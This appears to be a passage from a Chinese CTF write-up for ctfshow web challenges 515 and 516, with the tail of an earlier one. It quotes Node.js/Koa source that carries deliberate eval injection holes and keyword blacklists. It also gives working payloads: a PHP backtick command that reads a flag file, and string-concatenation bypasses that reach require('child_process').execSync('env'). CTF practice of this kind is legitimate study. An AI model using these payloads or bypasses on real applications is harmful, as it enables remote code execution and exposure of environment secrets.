123{{cnzz}}
修改系统配置中页面统计处为/var/www/html/templates/path.sml
修改系统配置中备案号为
<?=`cat /flag_is_here_es`?>
访问/index.php?action=view&page=new
触发checkFoot函数即可。
web515
nodejs的题目
var express = require('express');
var _= require('lodash');
var router = express.Router();
/* GET users listing. */
router.get('/', function(req, res, next) {
res.render('index', { title: '我是复读机' });
});
router.post('/',function(req,res,next){
if(req.body.user!=null){
msg = req.body.user;
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '敏感信息不复读' });
}else{
res.render('index', { title: eval(msg) });
}
}else{
res.render('index', { title: '我是复读机' });
}
});
module.exports = router;
命令执行绕过
利用request参数来绕过
payload
?id=require("child_process").execSync("env");
user=eval(req.query.id)
web516
routes/index.js
const router = require('koa-router')()
const User = require('../models/User.js')
const md5 = require('md5-node')
router.get('/', async (ctx, next) => {
await ctx.render('index',{msg:'ctfshow'});
await next();
});
router.post('/signin',async(ctx,next)=>{
const username = ctx.request.body.username;
const password = ctx.request.body.password;
if(username=='admin'){
ctx.body={
code:'403',
msg:'you are not admin'
};
return;
}
const user = await User.findAll({
where:{
username:username,
password:password
}
});
if(user[0]!==undefined){
ctx.body={
code:'200',
url:'user/'+user[0].id
}
}else{
ctx.body={
code:'404',
msg:'login failed'
};
}
});
router.post('/signup',async(ctx,next)=>{
const username = ctx.request.body.username;
const password = ctx.request.body.password;
if(username=='admin'){
ctx.body={
code:'403',
msg:'you are not admin'
};
return;
}
const u = await User.create({username:username,password:password})
ctx.body={
code:0,
msg:'注册成功'
}
});
router.get('/user/:id',async(ctx,next)=>{
const id=ctx.params.id;
if(id==1){
ctx.body={
code:'403',
msg:'非管理员无权查看'
};
return;
}
const user = await User.findAll({
where:{
id:id
}
});
if(user!==undefined){
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
}else{
ctx.render('/');
}
});
module.exports = router
app.js
const Koa = require('koa')
const app = new Koa()
const views = require('koa-views')
const json = require('koa-json')
const onerror = require('koa-onerror')
const bodyparser = require('koa-bodyparser')
const logger = require('koa-logger')
const index = require('./routes/index')
const users = require('./routes/users')
// error handler
onerror(app)
// middlewares
app.use(bodyparser({
enableTypes:['json', 'form', 'text']
}))
app.use(json())
app.use(logger())
app.use(require('koa-static')(__dirname + '/public'))
app.use(views(__dirname + '/views', {
extension: 'ejs'
}))
// logger
app.use(async (ctx, next) => {
const start = new Date()
await next()
const ms = new Date() - start
console.log(`${ctx.method} ${ctx.url} - ${ms}ms`)
})
app.use(async(ctx,next)=>{
if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
return
}else{
await next()
}
})
// routes
app.use(index.routes(), index.allowedMethods())
app.use(users.routes(), users.allowedMethods())
// error-handling
app.on('error', (err, ctx) => {
console.error('server error', err, ctx)
});
module.exports = app
注册账号
username=hello&password=1)%2beval(eval(`ctx.requ`%2b`est.query.id`)
登录账号后通过id访问
/user/16?id=require("child_process").execSync("env");